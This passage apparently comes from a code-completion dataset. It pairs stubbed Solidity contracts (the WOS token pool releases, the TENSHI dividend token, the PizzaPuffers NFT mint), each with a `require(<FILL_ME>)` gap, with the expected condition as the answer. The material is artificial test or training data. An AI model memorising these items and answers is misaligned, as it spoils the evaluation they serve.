(uint) { } function balanceOf(address account) public view returns (uint) { } function vipBuySubCountOf(address account) public view returns (uint) { } function vipBuyProfitOf(address account) public view returns (uint) { } function totalPowerStake() public view returns (uint) { } function powerStakeOf(address account) public view returns (uint) { } }
_balances[msg.sender].add(msg.value)<vipMaxStake
381,166
_balances[msg.sender].add(msg.value)<vipMaxStake
null
pragma solidity ^0.4.24; contract ERC20Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public view returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". * * Contract source taken from Open Zeppelin: https://github.com/OpenZeppelin/zeppelin-solidity/blob/v1.4.0/contracts/ownership/Ownable.sol */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { } } library SafeMathLib { // function mul(uint256 a, uint256 b) internal pure returns (uint256) { } // function div(uint256 a, uint256 b) internal pure returns (uint256) { } // function sub(uint256 a, uint256 b) internal pure returns (uint256) { } // function add(uint256 a, uint256 b) internal pure returns (uint256) { } } contract StandardToken is ERC20Token { using SafeMathLib for uint; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; // event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); // function transfer(address _to, uint256 _value) public returns (bool success) { } // function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { } // function balanceOf(address _owner) public constant returns (uint256 balance) { } function approve(address _spender, uint256 _value) public returns (bool success) { } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { } } contract WOS is StandardToken, Ownable { using SafeMathLib for uint256; uint256 INTERVAL_TIME = 63072000;//Two years uint256 public deadlineToFreedTeamPool=1591198931;//the deadline to freed the Wos pool of team string public name = "WOS"; string public symbol = "WOS"; uint256 public decimals = 18; uint256 public INITIAL_SUPPLY = (210) * (10 ** 8) * (10 ** 18);//21 // WOS which is freezed for the second stage uint256 wosPoolForSecondStage; // WOS which is freezed for the third stage uint256 wosPoolForThirdStage; // WOS which is freezed in order to reward team uint256 wosPoolToTeam; // WOS which is freezed for community incentives, business corporation, developer ecosystem uint256 wosPoolToWosSystem; event Freed(address indexed owner, uint256 value); function WOS(){ } //=================================================================== // function balanceWosPoolForSecondStage() public constant returns (uint256 remaining) { } function freedWosPoolForSecondStage() onlyOwner returns (bool success) { require(wosPoolForSecondStage > 0); require(<FILL_ME>) balances[msg.sender] = balances[msg.sender].add(wosPoolForSecondStage); Freed(msg.sender, wosPoolForSecondStage); wosPoolForSecondStage = 0; return true; } // function balanceWosPoolForThirdStage() public constant returns (uint256 remaining) { } function freedWosPoolForThirdStage() onlyOwner returns (bool success) { } // function balanceWosPoolToTeam() public constant returns (uint256 remaining) { } function freedWosPoolToTeam() onlyOwner returns (bool success) { } // function balanceWosPoolToWosSystem() public constant returns (uint256 remaining) { } function freedWosPoolToWosSystem() onlyOwner returns (bool success) { } function() public payable { } }
balances[msg.sender].add(wosPoolForSecondStage)>=balances[msg.sender]&&balances[msg.sender].add(wosPoolForSecondStage)>=wosPoolForSecondStage
381,185
balances[msg.sender].add(wosPoolForSecondStage)>=balances[msg.sender]&&balances[msg.sender].add(wosPoolForSecondStage)>=wosPoolForSecondStage
null
pragma solidity ^0.4.24; contract ERC20Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public view returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". * * Contract source taken from Open Zeppelin: https://github.com/OpenZeppelin/zeppelin-solidity/blob/v1.4.0/contracts/ownership/Ownable.sol */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { } } library SafeMathLib { // function mul(uint256 a, uint256 b) internal pure returns (uint256) { } // function div(uint256 a, uint256 b) internal pure returns (uint256) { } // function sub(uint256 a, uint256 b) internal pure returns (uint256) { } // function add(uint256 a, uint256 b) internal pure returns (uint256) { } } contract StandardToken is ERC20Token { using SafeMathLib for uint; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; // event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); // function transfer(address _to, uint256 _value) public returns (bool success) { } // function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { } // function balanceOf(address _owner) public constant returns (uint256 balance) { } function approve(address _spender, uint256 _value) public returns (bool success) { } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { } } contract WOS is StandardToken, Ownable { using SafeMathLib for uint256; uint256 INTERVAL_TIME = 63072000;//Two years uint256 public deadlineToFreedTeamPool=1591198931;//the deadline to freed the Wos pool of team string public name = "WOS"; string public symbol = "WOS"; uint256 public decimals = 18; uint256 public INITIAL_SUPPLY = (210) * (10 ** 8) * (10 ** 18);//21 // WOS which is freezed for the second stage uint256 wosPoolForSecondStage; // WOS which is freezed for the third stage uint256 wosPoolForThirdStage; // WOS which is freezed in order to reward team uint256 wosPoolToTeam; // WOS which is freezed for community incentives, business corporation, developer ecosystem uint256 wosPoolToWosSystem; event Freed(address indexed owner, uint256 value); function WOS(){ } //=================================================================== // function balanceWosPoolForSecondStage() public constant returns (uint256 remaining) { } function freedWosPoolForSecondStage() onlyOwner returns (bool success) { } // function balanceWosPoolForThirdStage() public constant returns (uint256 remaining) { } function freedWosPoolForThirdStage() onlyOwner returns (bool success) { require(wosPoolForThirdStage > 0); require(<FILL_ME>) balances[msg.sender] = balances[msg.sender].add(wosPoolForThirdStage); Freed(msg.sender, wosPoolForThirdStage); wosPoolForThirdStage = 0; return true; } // function balanceWosPoolToTeam() public constant returns (uint256 remaining) { } function freedWosPoolToTeam() onlyOwner returns (bool success) { } // function balanceWosPoolToWosSystem() public constant returns (uint256 remaining) { } function freedWosPoolToWosSystem() onlyOwner returns (bool success) { } function() public payable { } }
balances[msg.sender].add(wosPoolForThirdStage)>=balances[msg.sender]&&balances[msg.sender].add(wosPoolForThirdStage)>=wosPoolForThirdStage
381,185
balances[msg.sender].add(wosPoolForThirdStage)>=balances[msg.sender]&&balances[msg.sender].add(wosPoolForThirdStage)>=wosPoolForThirdStage
null
pragma solidity ^0.4.24; contract ERC20Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public view returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". * * Contract source taken from Open Zeppelin: https://github.com/OpenZeppelin/zeppelin-solidity/blob/v1.4.0/contracts/ownership/Ownable.sol */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { } } library SafeMathLib { // function mul(uint256 a, uint256 b) internal pure returns (uint256) { } // function div(uint256 a, uint256 b) internal pure returns (uint256) { } // function sub(uint256 a, uint256 b) internal pure returns (uint256) { } // function add(uint256 a, uint256 b) internal pure returns (uint256) { } } contract StandardToken is ERC20Token { using SafeMathLib for uint; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; // event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); // function transfer(address _to, uint256 _value) public returns (bool success) { } // function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { } // function balanceOf(address _owner) public constant returns (uint256 balance) { } function approve(address _spender, uint256 _value) public returns (bool success) { } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { } } contract WOS is StandardToken, Ownable { using SafeMathLib for uint256; uint256 INTERVAL_TIME = 63072000;//Two years uint256 public deadlineToFreedTeamPool=1591198931;//the deadline to freed the Wos pool of team string public name = "WOS"; string public symbol = "WOS"; uint256 public decimals = 18; uint256 public INITIAL_SUPPLY = (210) * (10 ** 8) * (10 ** 18);//21 // WOS which is freezed for the second stage uint256 wosPoolForSecondStage; // WOS which is freezed for the third stage uint256 wosPoolForThirdStage; // WOS which is freezed in order to reward team uint256 wosPoolToTeam; // WOS which is freezed for community incentives, business corporation, developer ecosystem uint256 wosPoolToWosSystem; event Freed(address indexed owner, uint256 value); function WOS(){ } //=================================================================== // function balanceWosPoolForSecondStage() public constant returns (uint256 remaining) { } function freedWosPoolForSecondStage() onlyOwner returns (bool success) { } // function balanceWosPoolForThirdStage() public constant returns (uint256 remaining) { } function freedWosPoolForThirdStage() onlyOwner returns (bool success) { } // function balanceWosPoolToTeam() public constant returns (uint256 remaining) { } function freedWosPoolToTeam() onlyOwner returns (bool success) { require(wosPoolToTeam > 0); require(<FILL_ME>) require(block.timestamp >= deadlineToFreedTeamPool); balances[msg.sender] = balances[msg.sender].add(wosPoolToTeam); Freed(msg.sender, wosPoolToTeam); wosPoolToTeam = 0; return true; } // function balanceWosPoolToWosSystem() public constant returns (uint256 remaining) { } function freedWosPoolToWosSystem() onlyOwner returns (bool success) { } function() public payable { } }
balances[msg.sender].add(wosPoolToTeam)>=balances[msg.sender]&&balances[msg.sender].add(wosPoolToTeam)>=wosPoolToTeam
381,185
balances[msg.sender].add(wosPoolToTeam)>=balances[msg.sender]&&balances[msg.sender].add(wosPoolToTeam)>=wosPoolToTeam
null
pragma solidity ^0.4.24; contract ERC20Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public view returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". * * Contract source taken from Open Zeppelin: https://github.com/OpenZeppelin/zeppelin-solidity/blob/v1.4.0/contracts/ownership/Ownable.sol */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { } } library SafeMathLib { // function mul(uint256 a, uint256 b) internal pure returns (uint256) { } // function div(uint256 a, uint256 b) internal pure returns (uint256) { } // function sub(uint256 a, uint256 b) internal pure returns (uint256) { } // function add(uint256 a, uint256 b) internal pure returns (uint256) { } } contract StandardToken is ERC20Token { using SafeMathLib for uint; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; // event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); // function transfer(address _to, uint256 _value) public returns (bool success) { } // function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { } // function balanceOf(address _owner) public constant returns (uint256 balance) { } function approve(address _spender, uint256 _value) public returns (bool success) { } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { } } contract WOS is StandardToken, Ownable { using SafeMathLib for uint256; uint256 INTERVAL_TIME = 63072000;//Two years uint256 public deadlineToFreedTeamPool=1591198931;//the deadline to freed the Wos pool of team string public name = "WOS"; string public symbol = "WOS"; uint256 public decimals = 18; uint256 public INITIAL_SUPPLY = (210) * (10 ** 8) * (10 ** 18);//21 // WOS which is freezed for the second stage uint256 wosPoolForSecondStage; // WOS which is freezed for the third stage uint256 wosPoolForThirdStage; // WOS which is freezed in order to reward team uint256 wosPoolToTeam; // WOS which is freezed for community incentives, business corporation, developer ecosystem uint256 wosPoolToWosSystem; event Freed(address indexed owner, uint256 value); function WOS(){ } //=================================================================== // function balanceWosPoolForSecondStage() public constant returns (uint256 remaining) { } function freedWosPoolForSecondStage() onlyOwner returns (bool success) { } // function balanceWosPoolForThirdStage() public constant returns (uint256 remaining) { } function freedWosPoolForThirdStage() onlyOwner returns (bool success) { } // function balanceWosPoolToTeam() public constant returns (uint256 remaining) { } function freedWosPoolToTeam() onlyOwner returns (bool success) { } // function balanceWosPoolToWosSystem() public constant returns (uint256 remaining) { } function freedWosPoolToWosSystem() onlyOwner returns (bool success) { require(wosPoolToWosSystem > 0); require(<FILL_ME>) balances[msg.sender] = balances[msg.sender].add(wosPoolToWosSystem); Freed(msg.sender, wosPoolToWosSystem); wosPoolToWosSystem = 0; return true; } function() public payable { } }
balances[msg.sender].add(wosPoolToWosSystem)>=balances[msg.sender]&&balances[msg.sender].add(wosPoolToWosSystem)>=wosPoolToWosSystem
381,185
balances[msg.sender].add(wosPoolToWosSystem)>=balances[msg.sender]&&balances[msg.sender].add(wosPoolToWosSystem)>=wosPoolToWosSystem
"TENSHI: Account is already allowed to transfer before trading is enabled"
contract TENSHIDividendTracker is DividendPayingToken, Ownable { using SafeMath for uint256; using SafeMathInt for int256; using IterableMapping for IterableMapping.Map; IterableMapping.Map private tokenHoldersMap; uint256 public lastProcessedIndex; mapping (address => bool) public excludedFromDividends; mapping (address => uint256) public lastClaimTimes; uint256 public claimWait; uint256 public constant MIN_TOKEN_BALANCE_FOR_DIVIDENDS = 10000 * (10**18); // Must hold 10000+ tokens. event ExcludedFromDividends(address indexed account); event GasForTransferUpdated(uint256 indexed newValue, uint256 indexed oldValue); event ClaimWaitUpdated(uint256 indexed newValue, uint256 indexed oldValue); event Claim(address indexed account, uint256 amount, bool indexed automatic); constructor() DividendPayingToken("TENSHI_Dividend_Tracker", "TENSHI_Dividend_Tracker") { } function _transfer(address, address, uint256) internal pure override { } function withdrawDividend() public pure override { } function excludeFromDividends(address account) external onlyOwner { } function updateGasForTransfer(uint256 newGasForTransfer) external onlyOwner { } function updateClaimWait(uint256 newClaimWait) external onlyOwner { } function getLastProcessedIndex() external view returns(uint256) { } function getNumberOfTokenHolders() external view returns(uint256) { } function getAccount(address _account) public view returns ( address account, int256 index, int256 iterationsUntilProcessed, uint256 withdrawableDividends, uint256 totalDividends, uint256 lastClaimTime, uint256 nextClaimTime, uint256 secondsUntilAutoClaimAvailable) { } function getAccountAtIndex(uint256 index) public view returns ( address, int256, int256, uint256, uint256, uint256, uint256, uint256) { } function canAutoClaim(uint256 lastClaimTime) private view returns (bool) { } function setBalance(address payable account, uint256 newBalance) external onlyOwner { } function process(uint256 gas) public returns (uint256, uint256, uint256) { } function processAccount(address payable account, bool automatic) public onlyOwner returns (bool) { } } contract TENSHI is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router; address public immutable uniswapV2Pair; bool private liquidating; TENSHIDividendTracker public dividendTracker; address public liquidityWallet; uint256 public constant MAX_SELL_TRANSACTION_AMOUNT = 10000000 * (10**18); uint256 public constant ETH_REWARDS_FEE = 2; uint256 public constant LIQUIDITY_FEE = 6; uint256 public constant TOTAL_FEES = ETH_REWARDS_FEE + LIQUIDITY_FEE; bool _swapEnabled = false; bool _maxBuyEnabled = false; address payable private _devWallet; // use by default 150,000 gas to process auto-claiming dividends uint256 public gasForProcessing = 150000; // liquidate tokens for ETH when the contract reaches 100k tokens by default uint256 public liquidateTokensAtAmount = 100000 * (10**18); // whether the token can already be traded bool public tradingEnabled; function activate() public onlyOwner { } // exclude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; // addresses that can make transfers before presale is over mapping (address => bool) public canTransferBeforeTradingIsEnabled; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdatedDividendTracker(address indexed newAddress, address indexed oldAddress); event UpdatedUniswapV2Router(address indexed newAddress, address indexed oldAddress); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event LiquidityWalletUpdated(address indexed newLiquidityWallet, address indexed oldLiquidityWallet); event GasForProcessingUpdated(uint256 indexed newValue, uint256 indexed oldValue); event LiquidationThresholdUpdated(uint256 indexed newValue, uint256 indexed oldValue); event Liquified( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapAndSendToDev( uint256 tokensSwapped, uint256 ethReceived ); event SentDividends( uint256 tokensSwapped, uint256 amount ); event ProcessedDividendTracker( uint256 iterations, uint256 claims, uint256 lastProcessedIndex, bool indexed automatic, uint256 gas, address indexed processor ); constructor() ERC20("TENSHI v2", "TENSHI") { } function doConstructorStuff() external onlyOwner{ } receive() external payable { } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { } function _setAutomatedMarketMakerPair(address pair, bool value) private { } function excludeFromFees(address account) public onlyOwner { } function updateGasForTransfer(uint256 gasForTransfer) external onlyOwner { } function allowTransferBeforeTradingIsEnabled(address account) public onlyOwner { require(<FILL_ME>) canTransferBeforeTradingIsEnabled[account] = true; } function updateGasForProcessing(uint256 newValue) public onlyOwner { } function updateClaimWait(uint256 claimWait) external onlyOwner { } function getGasForTransfer() external view returns(uint256) { } function enableDisableDevFee(bool _devFeeEnabled ) public returns (bool){ } function setMaxBuyEnabled(bool enabled ) external onlyOwner { } function getClaimWait() external view returns(uint256) { } function getTotalDividendsDistributed() external view returns (uint256) { } function isExcludedFromFees(address account) public view returns(bool) { } function withdrawableDividendOf(address account) public view returns(uint256) { } function dividendTokenBalanceOf(address account) public view returns (uint256) { } function getAccountDividendsInfo(address account) external view returns ( address, int256, int256, uint256, uint256, uint256, uint256, uint256) { } function getAccountDividendsInfoAtIndex(uint256 index) external view returns ( address, int256, int256, uint256, uint256, uint256, uint256, uint256) { } function processDividendTracker(uint256 gas) external { } function claim() external { } function getLastProcessedIndex() external view returns(uint256) { } function getNumberOfDividendTokenHolders() external view returns(uint256) { } function _transfer( address from, address to, uint256 amount ) internal override { } function swapAndSendToDev(uint256 tokens) private { } function sendEthToDev(uint256 amount) private { } function swapTokensForEth(uint256 tokenAmount) private { } function swapAndSendDividends(uint256 tokens) private { } }
!canTransferBeforeTradingIsEnabled[account],"TENSHI: Account is already allowed to transfer before trading is enabled"
381,320
!canTransferBeforeTradingIsEnabled[account]
"u!WL"
//SPDX-License-Identifier: BSD pragma solidity ^0.8.0; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; ///////////////////////////////////// contract PizzaPuffers is ERC721A, Ownable, ReentrancyGuard { uint16 public constant MAX_TOTAL_TOKENS = 5555; uint16 public constant MAX_OG_TOKENS = 1000; uint16 public constant MAX_WL_TOKENS = 2000; uint16 public constant MAX_OG_FREE_TOKENS = 400; uint16 public constant MAX_WL_FREE_TOKENS = 100; uint16 public constant MAX_TOTAL_FREE_TOKENS = MAX_OG_FREE_TOKENS + MAX_WL_FREE_TOKENS; // same slot uint16 public constant OG_MINT_DURATION = 60*30; // 30 minutes uint16 public constant WL_MINT_DURATION = 60*60; // 60 minutes uint256 public constant MAX_OG_MINTS_PER_WALLET = 2; uint256 public constant MAX_WL_MINTS_PER_WALLET = 2; // prices uint256 public constant MINT_PRICE_OG = 0.055 ether; uint256 public constant MINT_PRICE_WL = 0.066 ether; uint256 public constant MINT_PRICE_PUBLIC = 0.077 ether; // end constants // writer: contract // reader: contract mapping (address => bool) private __has_minted_free; uint16 private __og_free_claimed; uint16 private __wl_free_claimed; uint16 private __total_og_claimed; mapping (address => uint8) private __n_og_minted; uint16 private __total_wl_claimed; mapping (address => uint8) private __n_wl_minted; // writer: owner // reader: contract uint256 private _mint_start; bytes32 private _merkle_root_og; bytes32 private _merkle_root_wl; bool private _halt_mint = true; bool private _is_revealed; string private _URI; constructor() public ERC721A("PizzaPuffers", "ZAPUFS") payable {} function mint_og(uint256 quantity, bytes32[] memory proof) internal { // are on the OG list require(<FILL_ME>) // not minting too much require(quantity <= MAX_OG_MINTS_PER_WALLET, ">quantity"); // need to have enough ETH to mint require(quantity*MINT_PRICE_OG == msg.value, "$ETH<"); // per user check require((__n_og_minted[msg.sender] + quantity) <= MAX_OG_MINTS_PER_WALLET, "overminting"); // global mint check require((__total_og_claimed + quantity) <= MAX_OG_TOKENS, "overminting:supply"); // free eligibility if ((__has_minted_free[msg.sender] == false) && ((__og_free_claimed + 1) <= MAX_OG_FREE_TOKENS)) { require((__og_free_claimed + 1) <= MAX_OG_FREE_TOKENS, "over free total."); unchecked{ __og_free_claimed++; } __has_minted_free[msg.sender] = true; // refund one tokens value (bool sent, ) = payable(msg.sender).call{value: MINT_PRICE_OG}(""); require(sent, "!refund"); } // increment unchecked { // per user bought __n_og_minted[msg.sender] += uint8(quantity); // global minted __total_og_claimed += uint16(quantity); } _safeMint(msg.sender, quantity); } function mint_wl(uint256 quantity, bytes32[] memory proof) internal { } function mint_public(uint256 quantity) internal { } function mint(uint256 quantity, bytes32[] memory proof) external payable nonReentrant { } function getMintInfo() public view virtual returns (uint8, uint256, uint256) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } /** * @dev Withdraw ether from this contract (Callable by owner) **/ function withdraw() public onlyOwner() { } ////////////////////////////////////////////////////////////////////////// // Begin setter onlyOwner functions /** * @dev Set _mint_start **/ function setMintStart(uint256 v) public onlyOwner() { } /** * @dev Set halt minting */ function setHaltMint(bool v) public onlyOwner() { } /** * @dev Set merkle og root */ function setMerkleRootOG(bytes32 v) public onlyOwner() { } /** * @dev Set merkle root wl */ function setMerkleRootWL(bytes32 v) public onlyOwner() { } /** * @dev Set URI */ function setURI(string memory v) public onlyOwner() { } /** * @dev Set reveal */ function setIsReveal(bool v) public onlyOwner() { } // End setter onlyOwner functions ////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////// // Begin util functions function toString(uint256 value) internal pure returns (string memory) { } // end util functions ////////////////////////////////////////////////////////////////////////// }
MerkleProof.verify(proof,_merkle_root_og,keccak256(abi.encodePacked(msg.sender))),"u!WL"
381,321
MerkleProof.verify(proof,_merkle_root_og,keccak256(abi.encodePacked(msg.sender)))
"$ETH<"
//SPDX-License-Identifier: BSD pragma solidity ^0.8.0; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; ///////////////////////////////////// contract PizzaPuffers is ERC721A, Ownable, ReentrancyGuard { uint16 public constant MAX_TOTAL_TOKENS = 5555; uint16 public constant MAX_OG_TOKENS = 1000; uint16 public constant MAX_WL_TOKENS = 2000; uint16 public constant MAX_OG_FREE_TOKENS = 400; uint16 public constant MAX_WL_FREE_TOKENS = 100; uint16 public constant MAX_TOTAL_FREE_TOKENS = MAX_OG_FREE_TOKENS + MAX_WL_FREE_TOKENS; // same slot uint16 public constant OG_MINT_DURATION = 60*30; // 30 minutes uint16 public constant WL_MINT_DURATION = 60*60; // 60 minutes uint256 public constant MAX_OG_MINTS_PER_WALLET = 2; uint256 public constant MAX_WL_MINTS_PER_WALLET = 2; // prices uint256 public constant MINT_PRICE_OG = 0.055 ether; uint256 public constant MINT_PRICE_WL = 0.066 ether; uint256 public constant MINT_PRICE_PUBLIC = 0.077 ether; // end constants // writer: contract // reader: contract mapping (address => bool) private __has_minted_free; uint16 private __og_free_claimed; uint16 private __wl_free_claimed; uint16 private __total_og_claimed; mapping (address => uint8) private __n_og_minted; uint16 private __total_wl_claimed; mapping (address => uint8) private __n_wl_minted; // writer: owner // reader: contract uint256 private _mint_start; bytes32 private _merkle_root_og; bytes32 private _merkle_root_wl; bool private _halt_mint = true; bool private _is_revealed; string private _URI; constructor() public ERC721A("PizzaPuffers", "ZAPUFS") payable {} function mint_og(uint256 quantity, bytes32[] memory proof) internal { // are on the OG list require(MerkleProof.verify(proof, _merkle_root_og, keccak256(abi.encodePacked(msg.sender))), "u!WL"); // not minting too much require(quantity <= MAX_OG_MINTS_PER_WALLET, ">quantity"); // need to have enough ETH to mint require(<FILL_ME>) // per user check require((__n_og_minted[msg.sender] + quantity) <= MAX_OG_MINTS_PER_WALLET, "overminting"); // global mint check require((__total_og_claimed + quantity) <= MAX_OG_TOKENS, "overminting:supply"); // free eligibility if ((__has_minted_free[msg.sender] == false) && ((__og_free_claimed + 1) <= MAX_OG_FREE_TOKENS)) { require((__og_free_claimed + 1) <= MAX_OG_FREE_TOKENS, "over free total."); unchecked{ __og_free_claimed++; } __has_minted_free[msg.sender] = true; // refund one tokens value (bool sent, ) = payable(msg.sender).call{value: MINT_PRICE_OG}(""); require(sent, "!refund"); 